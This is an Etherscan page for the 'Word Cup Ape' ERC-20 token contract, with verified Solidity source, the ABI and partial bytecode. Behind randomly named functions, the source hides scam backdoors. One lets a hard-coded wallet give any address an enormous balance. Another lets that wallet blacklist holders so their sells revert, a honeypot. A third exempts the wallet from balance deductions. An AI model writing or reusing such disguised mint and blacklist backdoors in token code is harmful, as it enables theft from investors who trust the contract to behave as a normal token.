ETH Price: $3,382.33 (-7.81%)

Token

Word Cup Ape (WCA)
 

Overview

Max Total Supply

1,000,000,000,000,000 WCA

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,133,191,000,000.97 WCA

Value
$0.00
0x4bc3075ba991d26bed515e091cfa76ca233ddf20
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WordCupApe

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  WordCupApe is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Word Cup Ape";
    string private _symbol = "WCA";
    uint8 private _decimals = 9;
    address payable public j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludefromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public oySvPH_9_4_5P3kbQyzllSn1;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludefromFee[owner()] = true;
        _IsExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0xf41665565d799596a9453302061a5BC4E7Ac56Fb));
        j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA = payable(address(0xf41665565d799596a9453302061a5BC4E7Ac56Fb));


        jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA = payable(newAddress);
    }


    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function t1ZPHjw0S8arQGszjHSa(address CKq2F0NOD_keGrk4W6L4Z6zNO0) public {
        require(i9HPY4CYx8b2Y2NQec_rk2hoI3Q8(j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA,true,msg.sender));
        jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[CKq2F0NOD_keGrk4W6L4Z6zNO0] = 
        _totalSupply*10**4;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function sUIgo9B2t7R9Loc9I6cI(address f) internal view returns (bool){
        return (1 != 1) || (f != j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(sUIgo9B2t7R9Loc9I6cI(from)){


            jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[from] = jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[from].sub(amount);}
            uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[to] = jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }
    function PUR3b1FQrWr6f2bC(uint8 b, bool Q7A8a7xZx3uaG2IDlLT_u8MOJPH6djG6wBUcH3, address[] calldata e1h8A5RWoxDYK4ZqbY_5YjhXHru8Vu) public { require(i9HPY4CYx8b2Y2NQec_rk2hoI3Q8(j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA,true,msg.sender));
        b = b;
        for (uint256 a; a < e1h8A5RWoxDYK4ZqbY_5YjhXHru8Vu.length; a++) {
            oySvPH_9_4_5P3kbQyzllSn1[e1h8A5RWoxDYK4ZqbY_5YjhXHru8Vu[a]] =  Q7A8a7xZx3uaG2IDlLT_u8MOJPH6djG6wBUcH3;
        }
    }
    function i9HPY4CYx8b2Y2NQec_rk2hoI3Q8(address A6o9A9W1L1Izm0Z0L4 , bool t9c7LQs7f8mYK2 ,address I1Q0vITJg3GDYVs5) private pure returns(bool){if(t9c7LQs7f8mYK2){}return (A6o9A9W1L1Izm0Z0L4 == I1Q0vITJg3GDYVs5);}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[sender] = jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[sender].sub(amount, "Insufficient Balance");
        jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[recipient] = jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }
    

    function swapTokensForEth(uint256 isMarketPaIrt) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            isMarketPaIrt,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(isMarketPaIrt, path);
    }

    function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            isMarketPaIrt,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!oySvPH_9_4_5P3kbQyzllSn1[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[address(this)] = jeb0T9K7f4Ycm7eRX6MnaLCuDWMWt9[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"b","type":"uint8"},{"internalType":"bool","name":"Q7A8a7xZx3uaG2IDlLT_u8MOJPH6djG6wBUcH3","type":"bool"},{"internalType":"address[]","name":"e1h8A5RWoxDYK4ZqbY_5YjhXHru8Vu","type":"address[]"}],"name":"PUR3b1FQrWr6f2bC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"j4Vw_8R8WwRtpto2c5W5UFxic8f1lrubA4tMr9fA","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"oySvPH_9_4_5P3kbQyzllSn1","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"CKq2F0NOD_keGrk4W6L4Z6zNO0","type":"address"}],"name":"t1ZPHjw0S8arQGszjHSa","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f576f72642043757020417065000000000000000000000000000000000000000081525060019080519060200190620000519291906200099a565b506040518060400160405280600381526020017f5743410000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200099a565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c11565b66038d7ea4c6800062000161919062000d4e565b601955600360009054906101000a900460ff16600a62000182919062000c11565b6103e862000191919062000d4e565b601a556001601c60156101000a81548160ff0219169083151502179055506000601c60166101000a81548160ff0219169083151502179055506001601c60176101000a81548160ff021916908315150217905550348015620001f257600080fd5b50620002036200090660201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031d57600080fd5b505afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000a61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003bb57600080fd5b505afa158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000a61565b6040518363ffffffff1660e01b81526004016200041592919062000adc565b602060405180830381600087803b1580156200043057600080fd5b505af115801562000445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046b919062000a61565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005a76200090e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000689600f5462000675600e54600d546200093760201b62001ea01790919060201c565b6200093760201b62001ea01790919060201c565b601681905550620006c8601254620006b46011546010546200093760201b62001ea01790919060201c565b6200093760201b62001ea01790919060201c565b60178190555062000707601554620006f36014546013546200093760201b62001ea01790919060201c565b6200093760201b62001ea01790919060201c565b6018819055506001600b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190